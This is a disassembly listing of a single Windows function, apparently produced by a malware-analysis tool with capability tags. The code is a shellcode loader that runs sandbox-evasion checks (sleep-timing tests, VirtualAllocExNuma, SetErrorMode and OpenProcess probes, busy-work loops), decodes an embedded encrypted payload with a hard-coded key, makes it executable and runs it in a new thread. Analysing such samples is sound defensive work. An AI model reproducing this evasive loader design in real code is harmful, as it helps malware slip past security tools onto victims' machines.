Function at 0x140001530
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x440
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x3e0], ecx
mov qword [rbp + 0x3e8], rdx
call dbg.__main
mov qword [rbp + 0x3b8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x390], rax
cmp qword [rbp + 0x390], 0
je 0x1400015e1
mov rax, qword [rbp + 0x390]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x388], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x388]
mov r9d, 0x3000
mov r8d, 0x2f9
mov edx, 0
call rax
mov qword [rbp + 0x3b8], rax
cmp qword [rbp + 0x3b8], 0
je 0x14000201d
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x380], rax
cmp qword [rbp + 0x380], 0
je 0x14000201d
mov rax, qword [rbp + 0x380]
mov edx, 0x603
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x37c], eax
mov dword [rbp + 0x378], 0x390
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x370], rax
mov rax, qword [rbp + 0x370]
call rax
mov dword [rbp + 0x36c], eax
mov eax, dword [rbp + 0x378]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x370]
call rax
mov dword [rbp + 0x368], eax
mov eax, dword [rbp + 0x368]
sub eax, dword [rbp + 0x36c]
cmp eax, 0x35e
jbe 0x14000201d
mov ecx, 0x618
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x618
jne 0x14000201d
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x360], rax
cmp qword [rbp + 0x360], 0
je 0x140001754
mov rax, qword [rbp + 0x360]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x358], rax
mov rax, qword [rbp + 0x358]
mov ecx, 0
call rax
mov dword [rbp + 0x3b4], eax
cmp dword [rbp + 0x3b4], 0xffffffff
je 0x14000201d
mov dword [rbp + 0x354], 0x3b9
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x348], rax
mov rax, qword [rbp + 0x348]
call rax
mov dword [rbp + 0x344], eax
mov eax, dword [rbp + 0x354]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x348]
call rax
mov dword [rbp + 0x340], eax
mov eax, dword [rbp + 0x340]
sub eax, dword [rbp + 0x344]
cmp eax, 0x387
jbe 0x14000201d
mov qword [rbp + 0x338], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x330], rax
mov rax, qword [rbp + 0x330]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x2df4280
mov ecx, 0
call rax
mov qword [rbp + 0x338], rax
cmp qword [rbp + 0x338], 0
je 0x14000201d
mov rax, qword [rbp + 0x338]
mov edx, 0x2df4280
mov rcx, rax
call dbg.RtlSecureZeroMemory
mov rax, qword [rbp + 0x338]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov dword [rbp + 0x32c], 0x399
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x320], rax
mov rax, qword [rbp + 0x320]
call rax
mov dword [rbp + 0x31c], eax
mov eax, dword [rbp + 0x32c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x320]
call rax
mov dword [rbp + 0x318], eax
mov eax, dword [rbp + 0x318]
sub eax, dword [rbp + 0x31c]
cmp eax, 0x367
jbe 0x14000201d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x310], rax
mov rax, qword [rbp + 0x310]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x308], rax
cmp qword [rbp + 0x308], 0
jne 0x14000201d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x300], rax
mov rax, qword [rbp + 0x300]
call rax
mov dword [rbp + 0x2fc], eax
mov ecx, 0x39c
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x300]
call rax
mov dword [rbp + 0x2f8], eax
mov eax, dword [rbp + 0x2f8]
sub eax, dword [rbp + 0x2fc]
cmp eax, 0x36a
jbe 0x14000201d
lea rax, [rbp + 0xb0]
lea rdx, [0x140005050]
mov ecx, 0x3f
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov r9d, 4
mov r8d, 0x1000
mov edx, 0x1fe
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x2f0], rax
lea rdx, [rbp + 0xb0]
mov rax, qword [rbp + 0x2f0]
mov r8d, 0x1fe
mov rcx, rax
call sym.memmove
mov dword [rbp + 0x3b0], 0
mov dword [rbp + 0x3ac], 0
mov dword [rbp + 0x3a8], 0
movabs rax, 0xdf389824bc1f02
movabs rdx, 0xeb30f5a6d83b43ee
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0xb40de96caee762a6
movabs rdx, 0xbb8ef634e00894df
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x93ae94f6de886c17
movabs rdx, 0x32df684b879449c4
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0xb9d78140891f51f2
movabs rdx, 0xa5853340e474e189
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x30cfe4fbaa894c35
movabs rdx, 0x1c0a29e4e9e6392c
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0xc32d11deaf1c0a
mov qword [rbp + 0x9e], rax
movabs rax, 0x5a1208dcd5e2e5af
movabs rdx, 0x7cb775c93a5e5bb
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0xfcc6896e974f2846
movabs rdx, 0x2ac4522161482609
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0x8d4b3152a4f8b2d7
movabs rdx, 0xcc2392b9efc1b70a
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0xfe5a5ad6c6011e00
movabs rdx, 0x38038bd9890bced0
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0xcb38038bd9890bce
movabs rdx, 0x80ada648e668c1
mov qword [rbp + 0x39], rax
mov qword [rbp + 0x41], rdx
jmp 0x140001c00
mov eax, dword [rbp + 0x3b0]
cdqe
movzx edx, byte [rbp + rax]
mov eax, dword [rbp + 0x3ac]
cdqe
movzx eax, byte [rbp + rax + 0x50]
add edx, eax
mov eax, dword [rbp + 0x3b0]
cdqe
mov byte [rbp + rax - 0x50], dl
cmp dword [rbp + 0x3ac], 0x54
jne 0x140001bf2
mov dword [rbp + 0x3ac], 0
jmp 0x140001bf9
add dword [rbp + 0x3ac], 1
add dword [rbp + 0x3b0], 1
mov eax, dword [rbp + 0x3b0]
cmp eax, 0x47
jbe 0x140001bb5
mov dword [rbp + 0x3b0], 0
jmp 0x140001f89
mov eax, dword [rbp + 0x3b0]
movsxd rdx, eax
mov rax, qword [rbp + 0x2f0]
add rax, rdx
movzx eax, byte [rax]
movzx edx, al
mov eax, dword [rbp + 0x3a8]
cdqe
movzx eax, byte [rbp + rax - 0x50]
movzx eax, al
sub edx, eax
add edx, 0x100
mov eax, edx
sar eax, 0x1f
shr eax, 0x18
add edx, eax
movzx edx, dl
sub edx, eax
mov ecx, edx
mov eax, dword [rbp + 0x3b0]
movsxd rdx, eax
mov rax, qword [rbp + 0x2f0]
add rax, rdx
mov edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x3a8], 0x47
jne 0x140001f7b
mov dword [rbp + 0x3a8], 0
mov ecx, 0x44e0c
call sym.malloc
mov qword [rbp + 0x2d8], rax
mov dword [rbp + 0x3a4], 0
mov dword [rbp + 0x2d4], 1
mov dword [rbp + 0x3a0], 0
jmp 0x140001ed7
mov dword [rbp + 0x39c], 0
jmp 0x140001ec0
mov ecx, 0x618
call sym.malloc
mov qword [rbp + 0x2c8], rax
mov dword [rbp + 0x398], 0
jmp 0x140001d37
call sym.rand
mov edx, dword [rbp + 0x398]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x2c8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x398], 1
cmp dword [rbp + 0x398], 0x185
jle 0x140001cea
mov dword [rbp + 0x398], 0
jmp 0x140001e4f
mov dword [rbp + 0x2c4], 0
jmp 0x140001e31
mov eax, dword [rbp + 0x398]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2c8]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x2c4]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x2c8]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x140001e2a
mov eax, dword [rbp + 0x2c4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2c8]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x2c0], eax
mov eax, dword [rbp + 0x398]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2c8]
add rax, rdx
mov edx, dword [rbp + 0x2c4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x2c8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x2c4]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2c8]
add rdx, rax
mov eax, dword [rbp + 0x2c0]
mov dword [rdx], eax
add dword [rbp + 0x398], 1
mov eax, 0x185
sub eax, dword [rbp + 0x398]
cmp dword [rbp + 0x2c4], eax
jl 0x140001d61
add dword [rbp + 0x398], 1
cmp dword [rbp + 0x398], 0x185
jle 0x140001d52
mov rax, qword [rbp + 0x2c8]
mov rcx, rax
call sym.free
call sym.rand
mov edx, dword [rbp + 0x3a0]
movsxd rdx, edx
imul rcx, rdx, 0x464
mov rdx, qword [rbp + 0x2d8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x39c]
cdqe
mov dword [r8 + rax*4], edx
add dword [rbp + 0x39c], 1
cmp dword [rbp + 0x39c], 0x118
jle 0x140001ccd
add dword [rbp + 0x3a0], 1
cmp dword [rbp + 0x3a0], 0xfa
jle 0x140001cbe
mov dword [rbp + 0x3a0], 0
jmp 0x140001f48
mov dword [rbp + 0x39c], 0
jmp 0x140001f35
mov eax, dword [rbp + 0x3a0]
cdqe
imul rdx, rax, 0x464
mov rax, qword [rbp + 0x2d8]
add rdx, rax
mov eax, dword [rbp + 0x39c]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140001f2e
add dword [rbp + 0x3a4], 1
add dword [rbp + 0x39c], 1
cmp dword [rbp + 0x39c], 0x118
jle 0x140001eff
add dword [rbp + 0x3a0], 1
cmp dword [rbp + 0x3a0], 0xfa
jle 0x140001ef3
cmp dword [rbp + 0x3a4], 0x89c1
je 0x140001f6a
mov dword [rbp + 0x2d4], 0
mov rax, qword [rbp + 0x2d8]
mov rcx, rax
call sym.free
jmp 0x140001f82
add dword [rbp + 0x3a8], 1
add dword [rbp + 0x3b0], 1
cmp dword [rbp + 0x3b0], 0x1fd
jle 0x140001c1a
lea rdx, [rbp + 0x2bc]
mov rax, qword [rbp + 0x2f0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x1fe
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rdx, qword [rbp + 0x2f0]
lea rax, [rbp + 0x2b8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x2e8], rax
mov rax, qword [rbp + 0x2e8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x2e4], eax
mov eax, 0
add rsp, 0x440
pop rsi
pop rdi
pop rbp
ret